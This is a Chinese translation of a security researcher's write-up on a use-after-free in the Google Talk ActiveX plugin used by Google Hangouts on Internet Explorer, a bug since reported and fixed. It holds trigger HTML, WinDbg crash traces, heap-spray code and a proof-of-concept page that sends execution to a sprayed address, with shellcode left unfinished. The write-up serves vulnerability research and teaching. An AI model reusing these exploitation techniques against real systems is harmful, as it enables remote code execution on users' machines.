譯者:xd0ol1 (知道創宇404安全實驗室)
原文鏈接:http://pwnanisec.blogspot.be/2017/02/use-after-free-in-google-hangouts.html
作者打算按ROP+shellcode的套路來實現漏洞的利用,但目前只完成了堆噴布局,代碼執行部分還未完成,分析過程值得我們借鑒學習。另外,翻譯不對的地方還望多多指正。
0x00 概述
在15年的時候,我發現Google Hangouts用到的“Google Talk ActiveX Plugin”中存在一個UAF(use-after-free)的漏洞。由于此ActiveX控件是站點鎖定的,也就意味著它只能被白名單中的Google域名所調用,因此要成功利用攻擊者還需要找到其中某個域名的XSS漏洞。該bug已經報告給了Google,在那之后就被修復了。
0x01 ActiveX控件的細節
我們在IE上安裝Google Hangouts時,系統會安裝“Google Talk ActiveX Plugin”這個控件,它能被瀏覽器調用并且導出了下述5個方法:
dispinterface GTalkPluginInterface {
properties:
methods:
[id(0x60020000)]
void send([in] BSTR str);
[id(0x60020001), propput]
void onmessage([in] VARIANT* rhs);
[id(0x60020002), propget]
BSTR version();
[id(0x60020003), propget]
BSTR wsconnectinfo();
[id(0x60020004)]
void wsconnectfailed([in] int port);
};
由分析可知該控件并沒有通過實現IObjectSafetySiteLock接口來將其鎖定到特定域名。
C:\Program Files (x86)\Microsoft\SiteLock 1.15>sitelist.exe {39125640-8D80-11DC-A2FE-C5C455D89593}
SiteList: Utility to dump domain list from a site-locked ActiveX control.
[1ff8] No bp log location saved, using default.
[000:000] [1ff8] Cpu: 6.58.9, x4, 2890Mhz, 8065MB
[000:000] [1ff8] Computer model: Not available
IObjectSafetySiteLock not implemented.
然而,測試表明該控件僅適用于特定的Google域名。既然它沒有使用IObjectSafetySiteLock,我接著又檢查其是否被注冊成IE中的Browser Helper對象,這樣可以獲取navigation事件,通過逆向調試發現確是如此。因此,由導出的IObjectWithSite接口控件可創建與IE的連接,借此就能得到當前訪問的URL信息了。
通過下述C++代碼,我們創建該控件的一個實例,并在調用IObjectWithSite-> SetSite()前插入一個斷點:
#include "stdafx.h"
#include "windows.h"
#include "OCIdl.h"
int _tmain(int argc, _TCHAR* argv[])
{
CoInitialize(NULL);
IUnknown *punk;
LPGUID pclsid;
HRESULT hr = NULL;
//{39125640-8D80-11DC-A2FE-C5 C4 55 D8 95 93}
static const GUID CLSID_GTALK = { 0x39125640, 0x8D80, 0x11DC, { 0xa2, 0xfe, 0xc5, 0xc4, 0x55, 0xd8, 0x95, 0x93 } };
if (FAILED(hr))
printf("error");
hr = CoCreateInstance(CLSID_GTALK, NULL, CLSCTX_SERVER, IID_IUnknown, (void **)&punk);
if (FAILED(hr))
printf("error");
// Ask the ActiveX object for the IDispatch interface.
IObjectWithSite *pOSite;
hr = punk->QueryInterface(IID_IObjectWithSite, (void **)&pOSite);
if (FAILED(hr))
printf("error");
__asm
{
int 3;
}
//pOSite->GetSite(CLSID_GTALK, NULL);
pOSite->SetSite(NULL);
return 0;
}
這樣我們就可以在調試器中定位到此函數的入口信息,然后在IE中的相同位置下斷,并借助HTML代碼來加載和調用該控件。
分析可知,控件通過對象傳遞來實現SetSite供IE調用,如下代碼為其中的一部分實現,這里的URL信息由ECX寄存器傳遞:
0:007> u 5ca85c51
googletalkax+0x5c51:
5ca85c51 51 push ecx
5ca85c52 50 push eax
5ca85c53 e8d88f0000 call googletalkax!DllUnregisterServer+0x39e0 (5ca8ec30)
5ca85c58 8bd8 mov ebx,eax
5ca85c5a 83c408 add esp,8
5ca85c5d 85db test ebx,ebx
5ca85c5f 7465 je googletalkax+0x5cc6 (5ca85cc6)
5ca85c61 8b4e40 mov ecx,dword ptr [esi+40h]
0:007> da poi(ecx)
1123efc0 "http://localhost:9000/testgoogle"
1123efe0 "talkactivexplugin.html"
通過對此函數的更進一步分析我們可以找到將當前域名和白名單中的域名進行比較的代碼段:
.text:5CA8CA20 cmp [ebp+var_8], 10h
.text:5CA8CA24 lea eax, [ebp+var_1C] ; holds the current domain name
.text:5CA8CA27 push dword ptr [esi] ; holds whitelisted domain
.text:5CA8CA29 cmovnb eax, [ebp+var_1C]
.text:5CA8CA2D push eax
.text:5CA8CA2E call sub_5CA957C0
.text:5CA8CA33 add esp, 8
.text:5CA8CA36 test al, al
.text:5CA8CA38 jnz loc_5CA8CB37
.text:5CA8CA3E add esi, 4
.text:5CA8CA41 cmp esi, offset aHostedtalkgadg ; "*hostedtalkgadget.google.com"
.text:5CA8CA47 jl short loc_5CA8CA20
我們可以在調試器中下斷來打印出所有的白名單域名:
0:005> bl
0 e 5ca8ca2e 0001 (0001) 0:**** googletalkax!DllUnregisterServer+0x17de "da poi(esp+4);g"
0:005> g
5cace2c4 "*hostedtalkgadget.google.com"
5cace2e4 "*mail.google.com"
5cace2f8 "*plus.google.com"
5cace30c "*plus.sandbox.google.com"
5cace328 "*talk.google.com"
5cace33c "*talkgadget.google.com"
此外,下述代碼為該函數中的另一條執行路徑,但其需要設置控件中的“plugin_enable_corp_host”標志才能被觸發,這應該是Google內部使用的,對于其它域名還需要執行額外的檢測操作。
.text:5CA8CA9F push offset a_corp_google_c ; "*.corp.google.com"
.text:5CA8CAA4 cmovnb eax, [ebp+var_1C]
.text:5CA8CAA8 push eax
.text:5CA8CAA9 call sub_5CA957C0
.text:5CA8CAAE add esp, 8
.text:5CA8CAB1 test al, al
.text:5CA8CAB3 jnz short loc_5CA8CB0C
.text:5CA8CAB5 cmp [ebp+var_8], 10h
.text:5CA8CAB9 lea eax, [ebp+var_1C]
.text:5CA8CABC push offset a_prod_google_c ; "*.prod.google.com"
.text:5CA8CAC1 cmovnb eax, [ebp+var_1C]
.text:5CA8CAC5 push eax
.text:5CA8CAC6 call sub_5CA957C0
.text:5CA8CACB add esp, 8
.text:5CA8CACE test al, al
.text:5CA8CAD0 jnz short loc_5CA8CB0C
.text:5CA8CAD2 cmp [ebp+var_8], 10h
.text:5CA8CAD6 lea eax, [ebp+var_1C]
.text:5CA8CAD9 push offset a_googlegoro_co ; "*.googlegoro.com"
.text:5CA8CADE cmovnb eax, [ebp+var_1C]
.text:5CA8CAE2 push eax
.text:5CA8CAE3 call sub_5CA957C0
.text:5CA8CAE8 add esp, 8
.text:5CA8CAEB test al, al
.text:5CA8CAED jnz short loc_5CA8CB0C
.text:5CA8CAEF cmp [ebp+var_8], 10h
.text:5CA8CAF3 lea eax, [ebp+var_1C]
.text:5CA8CAF6 push offset a_googleplex_co ; "*.googleplex.com"
.text:5CA8CAFB cmovnb eax, [ebp+var_1C]
.text:5CA8CAFF push eax
.text:5CA8CB00 call sub_5CA957C0
其中,corp.google.com和googleplex.com域名會返回登錄提示,似乎僅供Google員工使用,而prod.google.com域名則無法訪問,很可能只是內部使用的。
0x02 如何觸發漏洞
繼續,我們知道賦值給“onmessage”導出方法的變量需為JavaScript回調函數,且它會立即被控件所調用,這可以通過下述代碼進行驗證:
<html>
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
<script>
sdr.onmessage = sdrcallback;
function sdrcallback(){
alert("callback function is called");
}
</script>
</html>
如果控件在調用回調函數前沒有事先調用AddRef()函數,那么就可能出現use-after-free的情況,因為回調函數不會改變此控件在垃圾回收機制中的引用計數。
我們通過創建一個刪除控件的回調函數來復現此漏洞場景:
<html>
<div id="seandiv">
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
</div>
<script>
sdr.onmessage = sdrcallback;
function sdrcallback(){
alert("callback function is called");
//delete div
this.document.getElementById("seandiv").innerHTML = "";
CollectGarbage();
CollectGarbage();
CollectGarbage();
}
</script>
<body>
sdr
</body>
bp OLEAUT32!DispCallFunc "u poi(poi(poi(esp+4))+(poi(esp+8))) L1;gc"
</html>
最終調試器會返回如下的崩潰信息:
(13b4.24a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -
eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0
eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
googletalkax!DllUnregisterServer+0x6385:
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=????????
其中EDI寄存器指向的是一塊無效的內存空間:
0:008> r
eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0
eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
googletalkax!DllUnregisterServer+0x6385:
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=????????
0:008> dd edi
407a2fb0 ???????? ???????? ???????? ????????
407a2fc0 ???????? ???????? ???????? ????????
407a2fd0 ???????? ???????? ???????? ????????
407a2fe0 ???????? ???????? ???????? ????????
407a2ff0 ???????? ???????? ???????? ????????
407a3000 ???????? ???????? ???????? ????????
407a3010 ???????? ???????? ???????? ????????
407a3020 ???????? ???????? ???????? ????????
進一步分析可知這是一塊釋放掉的內存:
0:008> !heap -p -a edi
address 407a2fb0 found in
_DPH_HEAP_ROOT @ 161000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
40751ccc: 407a2000 2000
51f990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77691564 ntdll!RtlDebugFreeHeap+0x0000002f
7764ac29 ntdll!RtlpFreeHeap+0x0000005d
775f34a2 ntdll!RtlFreeHeap+0x00000142
75f514ad kernel32!HeapFree+0x00000014
13e88310 googletalkax!DllUnregisterServer+0x0001d9f0
13e6e407 googletalkax!DllUnregisterServer+0x00003ae7
13e6218a googletalkax+0x0000218a
13e6572f googletalkax+0x0000572f
61d0fe01 +0x0000001d
61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc
61d0d8ee MSHTML!CTxtSite::Release+0x0000001a
61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f
5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023
5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134
5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0
5e659750 jscript9!Recycler::DisposeObjects+0x0000004a
5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a
5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087
5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026
5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b
5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad
5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079
5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b
5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940
5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce
0x03 測試漏洞的可利用性
接著我們來測試此漏洞的可利用性,這里需要把上述釋放掉的內存塊替換成新分配的內存空間,然后查看程序的運行過程中能否導致可控的代碼執行,主要借助的是.dvalloc命令。
通過查看下述代碼,我們發現其中存在一條能導致代碼執行的路徑。首先,EDI+1Ch指向的內存值被存入到EAX寄存器,而后EAX指向的內存值又被賦值給了ESI寄存器,再往下程序會執行一些其它操作和函數調用并最終來到ESI+4指向的地址。
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch]
13e70ca8 8b30 mov esi,dword ptr [eax] ds:002b:00000000=????????
13e70caa 8d850cffffff lea eax,[ebp-0F4h]
13e70cb0 50 push eax
13e70cb1 8d45e4 lea eax,[ebp-1Ch]
13e70cb4 50 push eax
13e70cb5 e8768e0000 call googletalkax!DllUnregisterServer+0xf210 (13e79b30)
13e70cba 8b4f1c mov ecx,dword ptr [edi+1Ch]
13e70cbd 83c408 add esp,8
13e70cc0 50 push eax
13e70cc1 ff5604 call dword ptr [esi+4]
我們需要確保13e70cb5處的函數調用不會改變ESI寄存器的值,這樣上面找到的執行路徑才是可控的。下述的WinDbg調試過程給出了如何分配新的內存空間來替換釋放掉的內存塊,并通過單步跟蹤來確認此路徑能導致代碼的執行。
(11cc.2728): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -
eax=00000001 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=111e2fb0
eip=59d80ca5 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
googletalkax!DllUnregisterServer+0x6385:
59d80ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:111e2fcc=????????
0:008> .dvalloc 2000h
Allocated 2000 bytes starting at 0c690000
0:008> r @edi = 0c690000
0:008> dd edi+1c
0c69001c 00000000 00000000 00000000 00000000
0c69002c 00000000 00000000 00000000 00000000
0c69003c 00000000 00000000 00000000 00000000
0c69004c 00000000 00000000 00000000 00000000
0c69005c 00000000 00000000 00000000 00000000
0c69006c 00000000 00000000 00000000 00000000
0c69007c 00000000 00000000 00000000 00000000
0c69008c 00000000 00000000 00000000 00000000
0:008> p
eax=00000000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80ca8 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6388:
59d80ca8 8b30 mov esi,dword ptr [eax] ds:002b:00000000=????????
0:008> .dvalloc 200
Allocated 1000 bytes starting at 0cbd0000
0:008> r @eax = 0cbd0000
0:008> dd eax
0cbd0000 00000000 00000000 00000000 00000000
0cbd0010 00000000 00000000 00000000 00000000
0cbd0020 00000000 00000000 00000000 00000000
0cbd0030 00000000 00000000 00000000 00000000
0cbd0040 00000000 00000000 00000000 00000000
0cbd0050 00000000 00000000 00000000 00000000
0cbd0060 00000000 00000000 00000000 00000000
0cbd0070 00000000 00000000 00000000 00000000
0:008> p
eax=0cbd0000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80caa esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x638a:
59d80caa 8d850cffffff lea eax,[ebp-0F4h]
0:008> p
eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb0 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6390:
59d80cb0 50 push eax
0:008> p
eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb1 esp=09d7c4ec ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6391:
59d80cb1 8d45e4 lea eax,[ebp-1Ch]
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb4 esp=09d7c4ec ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6394:
59d80cb4 50 push eax
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cb5 esp=09d7c4e8 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x6395:
59d80cb5 e8768e0000 call googletalkax!DllUnregisterServer+0xf210 (59d89b30)
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cba esp=09d7c4e8 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x639a:
59d80cba 8b4f1c mov ecx,dword ptr [edi+1Ch] ds:002b:0c69001c=00000000
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cbd esp=09d7c4e8 ebp=09d7c604 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
googletalkax!DllUnregisterServer+0x639d:
59d80cbd 83c408 add esp,8
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cc0 esp=09d7c4f0 ebp=09d7c604 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
googletalkax!DllUnregisterServer+0x63a0:
59d80cc0 50 push eax
0:008> p
eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000
eip=59d80cc1 esp=09d7c4ec ebp=09d7c604 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
googletalkax!DllUnregisterServer+0x63a1:
59d80cc1 ff5604 call dword ptr [esi+4] ds:002b:00000004=????????
0:008> p
(11cc.2728): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
這表明如果能在釋放掉的內存塊中寫入我們精心構造的數據,那么就能將此漏洞轉換成可利用的代碼執行。
0x04 堆分配
我們知道該釋放掉的內存塊是位于堆空間上的,接下去就來看下它的分配。先在Gflags的設置中勾選“Create User Mode Stack Trace Database”這一項,我們要能夠在同一堆區上分配相同大小的內存空間,這樣才能滿足堆噴的利用條件,因此需要確定釋放的內存是分配在哪塊堆上的。
通過下述HTML代碼我們可以將特定的數據分配到IE的默認堆上:
<html>
<div id="seandiv">
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
</div>
<script>
function sdrcallback(){
alert("callback function is called");
//delete div
this.document.getElementById("seandiv").innerHTML = "";
CollectGarbage();
CollectGarbage();
CollectGarbage();
alert(sdr);
}
//javapscript heap spray to see if we are on same heap as activeX
var seanstring = "seansea"+"n7aaaaaaaaa"+"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//s -u 0x00000000 L?0xffffffff seansean7
sdr.onmessage = sdrcallback;
</script>
<body></html>
然后借助WinDbg來看下堆分配的情況:
(1348.18dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -
eax=00000001 ebx=00000001 ecx=d215f8bc edx=00461078 esi=00000000 edi=3dc19fb0
eip=14d10ca5 esp=09b3bf10 ebp=09b3c024 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
googletalkax!DllUnregisterServer+0x6385:
14d10ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:3dc19fcc=????????
0:007> !heap -p -a edi
address 3dc19fb0 found in
_DPH_HEAP_ROOT @ 461000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
3dbe1ac4: 3dc19000 2000
5f8290b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77691564 ntdll!RtlDebugFreeHeap+0x0000002f
7764ac29 ntdll!RtlpFreeHeap+0x0000005d
775f34a2 ntdll!RtlFreeHeap+0x00000142
75f514ad kernel32!HeapFree+0x00000014
14d28310 googletalkax!DllUnregisterServer+0x0001d9f0
14d0e407 googletalkax!DllUnregisterServer+0x00003ae7
14d0218a googletalkax+0x0000218a
14d0572f googletalkax+0x0000572f
61d0fe01 +0x0000001d
61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc
61d0d8ee MSHTML!CTxtSite::Release+0x0000001a
61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f
5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023
5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134
5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0
5e659750 jscript9!Recycler::DisposeObjects+0x0000004a
5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a
5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087
5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026
5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b
5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad
5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079
5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b
5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940
5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce
0:007> s -u 0x00000000 L?0xffffffff seansean7
0eebafa6 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
29e66f96 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
4b6c6f02 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
79700c0a 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.
0:007> !heap -p -a 0eebafa6
address 0eebafa6 found in
_DPH_HEAP_ROOT @ 461000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
eec0208: eeba7f0 80c - eeba000 2000
5f828e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77690d96 ntdll!RtlDebugAllocateHeap+0x00000030
7764af0d ntdll!RtlpAllocateHeap+0x000000c4
775f3cfe ntdll!RtlAllocateHeap+0x0000023a
61df38ff MSHTML!CHtmRootParseCtx::NailDownChain+0x000004ba
61de7c59 MSHTML!CHtmRootParseCtx::EndElement+0x00000119
61de7b27 MSHTML!CHtmRootParseCtxRouter::EndElement+0x00000017
61dee7b2 MSHTML!CHtml5TreeConstructor::PopElement+0x000000b7
61f896b5 MSHTML!CTextInsertionMode::DefaultEndElementHandler+0x00000035
620fc85b MSHTML!CInsertionMode::HandleEndElementToken+0x0000003d
61df17f5 MSHTML!CHtml5TreeConstructor::HandleElementTokenInInsertionMode+0x00000026
61df16c8 MSHTML!CHtml5TreeConstructor::PushElementToken+0x000000a5
61f891f8 MSHTML!CHtml5Tokenizer::EmitElementToken+0x00000067
61f8a243 MSHTML!CHtml5Tokenizer::RCDATAEndTagName_StateHandler+0x000003bf
61deeec5 MSHTML!CHtml5Tokenizer::ParseBuffer+0x0000012c
61def19b MSHTML!CHtml5Parse::ParseToken+0x00000131
61dee707 MSHTML!CHtmPost::ProcessTokens+0x000006af
61de7f32 MSHTML!CHtmPost::Exec+0x000001e4
620b9a78 MSHTML!CHtmPost::Run+0x0000003d
620b99de MSHTML!PostManExecute+0x00000061
620c1e04 MSHTML!PostManResume+0x0000007b
61e4d397 MSHTML!CDwnChan::OnMethodCall+0x0000003e
61d0e101 MSHTML!GlobalWndOnMethodCall+0x0000016d
61d0db16 MSHTML!GlobalWndProc+0x000002e5
751262fa user32!InternalCallWinProc+0x00000023
75126d3a user32!UserCallWinProcCheckWow+0x00000109
751277c4 user32!DispatchMessageWorker+0x000003bc
7512788a user32!DispatchMessageW+0x0000000f
6366f668 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464
636a25b8 IEFRAME!LCIETab_ThreadProc+0x0000037b
7531d6fc iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c
5f893991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
可以看到ActiveX控件和JavaScript代碼使用了相同的堆區,因此利用起來就方便多了。
0x05 確定堆分配的大小
接著我們還需要確定此釋放對象的大小,這里要禁用掉除了“usermode stack dbs”外所有的Gflags設置,同時還要在崩潰處下個斷點:
Bu googletalkax!DllUnregisterServer+0x6385 "!heap -p -a edi;g"
70760ca5 8b471c mov eax,dword ptr [edi+1Ch] ds:002b:078f8a44=a48a8f07
0:005> !heap -p -a edi
address 078f8a28 found in
_HEAP @ 730000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
078f8a10 000d 0000 [00] 078f8a28 00050 - (busy)
? googletalkax!DllUnregisterServer+43db0
因此釋放掉的對象大小為0x50字節。
0x06 堆噴
然后,我們利用堆噴在釋放內存上重新寫入想要的數據,此步驟要在與釋放對象交互前完成。不過在此之前我們需要先填充IE進程中的那些堆碎片,這個過程會分配大量相同大小的堆。
我們通過下述JS函數來實現堆噴。其中,賦值的0x50字節子字符串需要減去4字節的BSTR對象頭部以及2字節的終止標識,又因為存儲的是Unicode格式,所以還要除以2。最終,該字符串會正好占用0x50字節的內存空間。
var largechunk = unescape("sean3");
var spray = new Array();
function dospray()
{
while (largechunk.length < 0x10000) largechunk += largechunk;
for (var i = 0; i < 0x200; i++)
{
spray[i] = largechunk.substring(0,(0x50-6)/2);
}
}
此后,我們還要用到DEPS噴射技術來完成一次精確布局,通過如下堆噴操作后內存0x20302228上會保存有我們的數據。
function corelan_deps_spray()
{
var div_container = document.getElementById("corelanspraydiv");
div_container.style.cssText = "display:none";
junk = unescape("%u615d%u6161");
while (junk.length < 0x80000) junk += junk;
for (var i = 0; i < 0x500; i++)
{
var obj = document.createElement("button");
obj.title = junk;
div_container.appendChild(obj);
}
}
0x07 PoC
借助所有的這些信息,我們給出如下的PoC代碼,它能將程序的執行流引向我們所設定的地址:
<html>
<div id="seandiv">
<object
classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr
>
</object>
</div>
<div id="corelanspraydiv"></div>
<script>
var largechunk = unescape("%u2030%u2228");
var spray = new Array();
function dospray()
{
while (largechunk.length < 0x10000) largechunk += largechunk;
for (var i = 0; i < 0x200; i++)
{
spray[i] = largechunk.substring(0,(0x50-6)/2);
}
}
function corelan_deps_spray()
{
var div_container = document.getElementById("corelanspraydiv");
div_container.style.cssText = "display:none";
junk = unescape("%u615d%u6161");
while (junk.length < 0x80000) junk += junk;
for (var i = 0; i < 0x500; i++)
{
var obj = document.createElement("button");
obj.title = junk;
div_container.appendChild(obj);
}
}
function sdrcallback(){
//alert("callback function is called!"); //use this to attach debugger and bu googletalkax!DllUnregisterServer+0x6385
this.document.getElementById("seandiv").innerHTML = "";
CollectGarbage();
CollectGarbage();
CollectGarbage();
//spray the heap with 0x50 size objects, this will overwrite the freed chunk
dospray();
//interact with the object
var ver = sdr.version;
sdr.send("sean");
}
//prime the lfh heap
dospray();
//spray reliable so location at 0x20302228 holds our data
corelan_deps_spray();
//invoke callback function
sdr.onmessage = sdrcallback;
</script>
<body>
</body>
</html>
代碼通過DEPS堆噴能確保將內存0x20302228處的對應值置為0x6161615d。
之后,“onmessage”方法的回調函數中會進行對象的釋放操作,并通過堆噴分配大量相同大小(0x50字節)的字符串對象來重寫此釋放內存。這時該釋放指針指向的內容就變成了新分配的字符串對象,其中包含了指向0x20302228的指針。當訪問此釋放指針時,同樣會執行下述的匯編代碼:
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch]
13e70ca8 8b30 mov esi,dword ptr [eax]
13e70caa 8d850cffffff lea eax,[ebp-0F4h]
13e70cb0 50 push eax
13e70cb1 8d45e4 lea eax,[ebp-1Ch]
13e70cb4 50 push eax
13e70cb5 e8768e0000 call googletalkax!DllUnregisterServer+0xf210 (13e79b30)
13e70cba 8b4f1c mov ecx,dword ptr [edi+1Ch]
13e70cbd 83c408 add esp,8
13e70cc0 50 push eax
13e70cc1 ff5604 call dword ptr [esi+4]
